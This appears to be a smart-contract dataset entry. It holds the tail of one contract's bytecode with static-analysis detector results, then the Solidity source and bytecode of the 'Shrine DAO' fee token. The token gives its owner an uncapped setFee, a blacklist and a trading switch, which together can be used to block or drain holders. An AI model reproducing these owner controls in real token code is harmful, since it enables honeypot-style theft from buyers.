602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6040805190810160405280600381526020017f45544d000000000000000000000000000000000000000000000000000000000081525081565b6000610dbf611473565b610dc88461122b565b15610ddf57610dd884848361123e565b9150610dec565b610de98484611254565b91505b5092915050565b600080849050610e0385856105d7565b15610f64578073ffffffffffffffffffffffffffffffffffffffff16638f4ffcb1338630876040518563ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018481526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200180602001828103825283818151815260200191508051906020019080838360005b83811015610efd578082015181840152602081019050610ee2565b50505050905090810190601f168015610f2a5780820380516001836020036101000a031916815260200191505b5095505050505050600060405180830381600087803b1515610f4b57600080fd5b5af11515610f5857600080fd5b50505060019150610f69565b600091505b509392505050565b600061100282600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461120d90919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600082821115151561120257fe5b818303905092915050565b600080828401905083811015151561122157fe5b8091505092915050565b600080823b905060008111915050919050565b600061124b848484610df3565b90509392505050565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415151561129157600080fd5b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111515156112de57600080fd5b61132f826000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546111f490919063ffffffff16565b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506113c2826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461120d90919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b6020604051908101604052806000815250905600a165627a7a723058200773c1d50742b71b0f637c4086f9fc72453365e0b0f7b99d91f71de491c3c7a60029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "constant-function-asm", "impact": "Medium", "confidence": "Medium"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}]}}
| 4,231 |
0x82a5aa784c106ab11e711c8b627e06de02c18da3
|
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.9;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract ShrineDAO is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "Shrine DAO";
string private constant _symbol = "SHRINE";
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _redisFeeOnBuy = 0;
uint256 private _taxFeeOnBuy = 8;
uint256 private _redisFeeOnSell = 0;
uint256 private _taxFeeOnSell = 8;
//Original Fee
uint256 private _redisFee = _redisFeeOnSell;
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _previousredisFee = _redisFee;
uint256 private _previoustaxFee = _taxFee;
mapping(address => bool) public bots; mapping (address => uint256) public _buyMap;
address payable private _treasuryAddress = payable(0xEeE3Ee978084F0074964616d26E987e7B7DEe90f);
address payable private _marketingAddress = payable(0x78B7b4163dBA2eDC1736C94Cb8f95A39A5aCA112);
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = true;
uint256 public _maxTxAmount = 10000000 * 10**9;
uint256 public _maxWalletSize = 15000000 * 10**9;
uint256 public _swapTokensAtAmount = 10000 * 10**9;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_rOwned[_msgSender()] = _rTotal;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);//
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_treasuryAddress] = true;
_isExcludedFromFee[_marketingAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_redisFee == 0 && _taxFee == 0) return;
_previousredisFee = _redisFee;
_previoustaxFee = _taxFee;
_redisFee = 0;
_taxFee = 0;
}
function restoreAllFee() private {
_redisFee = _previousredisFee;
_taxFee = _previoustaxFee;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
//Trade start check
if (!tradingOpen) {
require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled");
}
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!");
if(to != uniswapV2Pair) {
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
//Transfer Tokens
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
} else {
//Set Fee for Buys
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_redisFee = _redisFeeOnBuy;
_taxFee = _taxFeeOnBuy;
}
//Set Fee for Sells
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
_redisFee = _redisFeeOnSell;
_taxFee = _taxFeeOnSell;
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_marketingAddress.transfer(amount);
}
function setTrading(bool _tradingOpen) public onlyOwner {
tradingOpen = _tradingOpen;
}
function manualswap() external {
require(_msgSender() == _treasuryAddress || _msgSender() == _marketingAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _treasuryAddress || _msgSender() == _marketingAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _redisFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 redisFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(redisFee).div(100);
uint256 tTeam = tAmount.mul(taxFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner {
_redisFeeOnBuy = redisFeeOnBuy;
_redisFeeOnSell = redisFeeOnSell;
_taxFeeOnBuy = taxFeeOnBuy;
_taxFeeOnSell = taxFeeOnSell;
}
//Set minimum tokens required to swap.
function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner {
_swapTokensAtAmount = swapTokensAtAmount;
}
//Set minimum tokens required to swap.
function toggleSwap(bool _swapEnabled) public onlyOwner {
swapEnabled = _swapEnabled;
}
//Set maximum transaction
function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner {
_maxTxAmount = maxTxAmount;
}
function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner {
_maxWalletSize = maxWalletSize;
}
function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner {
for(uint256 i = 0; i < accounts.length; i++) {
_isExcludedFromFee[accounts[i]] = excluded;
}
}
}
|
0x6080604052600436106101d05760003560e01c80637d1db4a5116100f7578063a2a957bb11610095578063c492f04611610064578063c492f04614610557578063dd62ed3e14610577578063ea1644d5146105bd578063f2fde38b146105dd57600080fd5b8063a2a957bb146104d2578063a9059cbb146104f2578063bfd7928414610512578063c3c8cd801461054257600080fd5b80638f70ccf7116100d15780638f70ccf71461044d5780638f9a55c01461046d57806395d89b411461048357806398a5c315146104b257600080fd5b80637d1db4a5146103ec5780637f2feddc146104025780638da5cb5b1461042f57600080fd5b8063313ce5671161016f5780636fc3eaec1161013e5780636fc3eaec1461038257806370a0823114610397578063715018a6146103b757806374010ece146103cc57600080fd5b8063313ce5671461030657806349bd5a5e146103225780636b999053146103425780636d8aa8f81461036257600080fd5b80631694505e116101ab5780631694505e1461027357806318160ddd146102ab57806323b872dd146102d05780632fd689e3146102f057600080fd5b8062b8cf2a146101dc57806306fdde03146101fe578063095ea7b31461024357600080fd5b366101d757005b600080fd5b3480156101e857600080fd5b506101fc6101f7366004611961565b6105fd565b005b34801561020a57600080fd5b5060408051808201909152600a815269536872696e652044414f60b01b60208201525b60405161023a9190611a26565b60405180910390f35b34801561024f57600080fd5b5061026361025e366004611a7b565b61069c565b604051901515815260200161023a565b34801561027f57600080fd5b50601454610293906001600160a01b031681565b6040516001600160a01b03909116815260200161023a565b3480156102b757600080fd5b50670de0b6b3a76400005b60405190815260200161023a565b3480156102dc57600080fd5b506102636102eb366004611aa7565b6106b3565b3480156102fc57600080fd5b506102c260185481565b34801561031257600080fd5b506040516009815260200161023a565b34801561032e57600080fd5b50601554610293906001600160a01b031681565b34801561034e57600080fd5b506101fc61035d366004611ae8565b61071c565b34801561036e57600080fd5b506101fc61037d366004611b15565b610767565b34801561038e57600080fd5b506101fc6107af565b3480156103a357600080fd5b506102c26103b2366004611ae8565b6107fa565b3480156103c357600080fd5b506101fc61081c565b3480156103d857600080fd5b506101fc6103e7366004611b30565b610890565b3480156103f857600080fd5b506102c260165481565b34801561040e57600080fd5b506102c261041d366004611ae8565b60116020526000908152604090205481565b34801561043b57600080fd5b506000546001600160a01b0316610293565b34801561045957600080fd5b506101fc610468366004611b15565b6108bf565b34801561047957600080fd5b506102c260175481565b34801561048f57600080fd5b50604080518082019091526006815265534852494e4560d01b602082015261022d565b3480156104be57600080fd5b506101fc6104cd366004611b30565b610907565b3480156104de57600080fd5b506101fc6104ed366004611b49565b610936565b3480156104fe57600080fd5b5061026361050d366004611a7b565b610974565b34801561051e57600080fd5b5061026361052d366004611ae8565b60106020526000908152604090205460ff1681565b34801561054e57600080fd5b506101fc610981565b34801561056357600080fd5b506101fc610572366004611b7b565b6109d5565b34801561058357600080fd5b506102c2610592366004611bff565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b3480156105c957600080fd5b506101fc6105d8366004611b30565b610a76565b3480156105e957600080fd5b506101fc6105f8366004611ae8565b610aa5565b6000546001600160a01b031633146106305760405162461bcd60e51b815260040161062790611c38565b60405180910390fd5b60005b81518110156106985760016010600084848151811061065457610654611c6d565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061069081611c99565b915050610633565b5050565b60006106a9338484610b8f565b5060015b92915050565b60006106c0848484610cb3565b610712843361070d85604051806060016040528060288152602001611db3602891396001600160a01b038a16600090815260046020908152604080832033845290915290205491906111ef565b610b8f565b5060019392505050565b6000546001600160a01b031633146107465760405162461bcd60e51b815260040161062790611c38565b6001600160a01b03166000908152601060205260409020805460ff19169055565b6000546001600160a01b031633146107915760405162461bcd60e51b815260040161062790611c38565b60158054911515600160b01b0260ff60b01b19909216919091179055565b6012546001600160a01b0316336001600160a01b031614806107e457506013546001600160a01b0316336001600160a01b0316145b6107ed57600080fd5b476107f781611229565b50565b6001600160a01b0381166000908152600260205260408120546106ad90611263565b6000546001600160a01b031633146108465760405162461bcd60e51b815260040161062790611c38565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146108ba5760405162461bcd60e51b815260040161062790611c38565b601655565b6000546001600160a01b031633146108e95760405162461bcd60e51b815260040161062790611c38565b60158054911515600160a01b0260ff60a01b19909216919091179055565b6000546001600160a01b031633146109315760405162461bcd60e51b815260040161062790611c38565b601855565b6000546001600160a01b031633146109605760405162461bcd60e51b815260040161062790611c38565b600893909355600a91909155600955600b55565b60006106a9338484610cb3565b6012546001600160a01b0316336001600160a01b031614806109b657506013546001600160a01b0316336001600160a01b0316145b6109bf57600080fd5b60006109ca306107fa565b90506107f7816112e7565b6000546001600160a01b031633146109ff5760405162461bcd60e51b815260040161062790611c38565b60005b82811015610a70578160056000868685818110610a2157610a21611c6d565b9050602002016020810190610a369190611ae8565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905580610a6881611c99565b915050610a02565b50505050565b6000546001600160a01b03163314610aa05760405162461bcd60e51b815260040161062790611c38565b601755565b6000546001600160a01b03163314610acf5760405162461bcd60e51b815260040161062790611c38565b6001600160a01b038116610b345760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610627565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610bf15760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610627565b6001600160a01b038216610c525760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610627565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610d175760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610627565b6001600160a01b038216610d795760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610627565b60008111610ddb5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610627565b6000546001600160a01b03848116911614801590610e0757506000546001600160a01b03838116911614155b156110e857601554600160a01b900460ff16610ea0576000546001600160a01b03848116911614610ea05760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c6564006064820152608401610627565b601654811115610ef25760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d6974000000006044820152606401610627565b6001600160a01b03831660009081526010602052604090205460ff16158015610f3457506001600160a01b03821660009081526010602052604090205460ff16155b610f8c5760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b6064820152608401610627565b6015546001600160a01b038381169116146110115760175481610fae846107fa565b610fb89190611cb4565b106110115760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b6064820152608401610627565b600061101c306107fa565b6018546016549192508210159082106110355760165491505b80801561104c5750601554600160a81b900460ff16155b801561106657506015546001600160a01b03868116911614155b801561107b5750601554600160b01b900460ff165b80156110a057506001600160a01b03851660009081526005602052604090205460ff16155b80156110c557506001600160a01b03841660009081526005602052604090205460ff16155b156110e5576110d3826112e7565b4780156110e3576110e347611229565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff168061112a57506001600160a01b03831660009081526005602052604090205460ff165b8061115c57506015546001600160a01b0385811691161480159061115c57506015546001600160a01b03848116911614155b15611169575060006111e3565b6015546001600160a01b03858116911614801561119457506014546001600160a01b03848116911614155b156111a657600854600c55600954600d555b6015546001600160a01b0384811691161480156111d157506014546001600160a01b03858116911614155b156111e357600a54600c55600b54600d555b610a7084848484611470565b600081848411156112135760405162461bcd60e51b81526004016106279190611a26565b5060006112208486611ccc565b95945050505050565b6013546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610698573d6000803e3d6000fd5b60006006548211156112ca5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610627565b60006112d461149e565b90506112e083826114c1565b9392505050565b6015805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061132f5761132f611c6d565b6001600160a01b03928316602091820292909201810191909152601454604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561138357600080fd5b505afa158015611397573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113bb9190611ce3565b816001815181106113ce576113ce611c6d565b6001600160a01b0392831660209182029290920101526014546113f49130911684610b8f565b60145460405163791ac94760e01b81526001600160a01b039091169063791ac9479061142d908590600090869030904290600401611d00565b600060405180830381600087803b15801561144757600080fd5b505af115801561145b573d6000803e3d6000fd5b50506015805460ff60a81b1916905550505050565b8061147d5761147d611503565b611488848484611531565b80610a7057610a70600e54600c55600f54600d55565b60008060006114ab611628565b90925090506114ba82826114c1565b9250505090565b60006112e083836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611668565b600c541580156115135750600d54155b1561151a57565b600c8054600e55600d8054600f5560009182905555565b60008060008060008061154387611696565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061157590876116f3565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546115a49086611735565b6001600160a01b0389166000908152600260205260409020556115c681611794565b6115d084836117de565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161161591815260200190565b60405180910390a3505050505050505050565b6006546000908190670de0b6b3a764000061164382826114c1565b82101561165f57505060065492670de0b6b3a764000092509050565b90939092509050565b600081836116895760405162461bcd60e51b81526004016106279190611a26565b5060006112208486611d71565b60008060008060008060008060006116b38a600c54600d54611802565b92509250925060006116c361149e565b905060008060006116d68e878787611857565b919e509c509a509598509396509194505050505091939550919395565b60006112e083836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506111ef565b6000806117428385611cb4565b9050838110156112e05760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610627565b600061179e61149e565b905060006117ac83836118a7565b306000908152600260205260409020549091506117c99082611735565b30600090815260026020526040902055505050565b6006546117eb90836116f3565b6006556007546117fb9082611735565b6007555050565b600080808061181c606461181689896118a7565b906114c1565b9050600061182f60646118168a896118a7565b90506000611847826118418b866116f3565b906116f3565b9992985090965090945050505050565b600080808061186688866118a7565b9050600061187488876118a7565b9050600061188288886118a7565b905060006118948261184186866116f3565b939b939a50919850919650505050505050565b6000826118b6575060006106ad565b60006118c28385611d93565b9050826118cf8583611d71565b146112e05760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610627565b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146107f757600080fd5b803561195c8161193c565b919050565b6000602080838503121561197457600080fd5b823567ffffffffffffffff8082111561198c57600080fd5b818501915085601f8301126119a057600080fd5b8135818111156119b2576119b2611926565b8060051b604051601f19603f830116810181811085821117156119d7576119d7611926565b6040529182528482019250838101850191888311156119f557600080fd5b938501935b82851015611a1a57611a0b85611951565b845293850193928501926119fa565b98975050505050505050565b600060208083528351808285015260005b81811015611a5357858101830151858201604001528201611a37565b81811115611a65576000604083870101525b50601f01601f1916929092016040019392505050565b60008060408385031215611a8e57600080fd5b8235611a998161193c565b946020939093013593505050565b600080600060608486031215611abc57600080fd5b8335611ac78161193c565b92506020840135611ad78161193c565b929592945050506040919091013590565b600060208284031215611afa57600080fd5b81356112e08161193c565b8035801515811461195c57600080fd5b600060208284031215611b2757600080fd5b6112e082611b05565b600060208284031215611b4257600080fd5b5035919050565b60008060008060808587031215611b5f57600080fd5b5050823594602084013594506040840135936060013592509050565b600080600060408486031215611b9057600080fd5b833567ffffffffffffffff80821115611ba857600080fd5b818601915086601f830112611bbc57600080fd5b813581811115611bcb57600080fd5b8760208260051b8501011115611be057600080fd5b602092830195509350611bf69186019050611b05565b90509250925092565b60008060408385031215611c1257600080fd5b8235611c1d8161193c565b91506020830135611c2d8161193c565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b6000600019821415611cad57611cad611c83565b5060010190565b60008219821115611cc757611cc7611c83565b500190565b600082821015611cde57611cde611c83565b500390565b600060208284031215611cf557600080fd5b81516112e08161193c565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611d505784516001600160a01b031683529383019391830191600101611d2b565b50506001600160a01b03969096166060850152505050608001529392505050565b600082611d8e57634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611dad57611dad611c83565b50029056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122074e6cb5fe4cd2faed83f5a27c5cee9dea88123abc3b941692d56aafe40fd21c964736f6c63430008090033
|
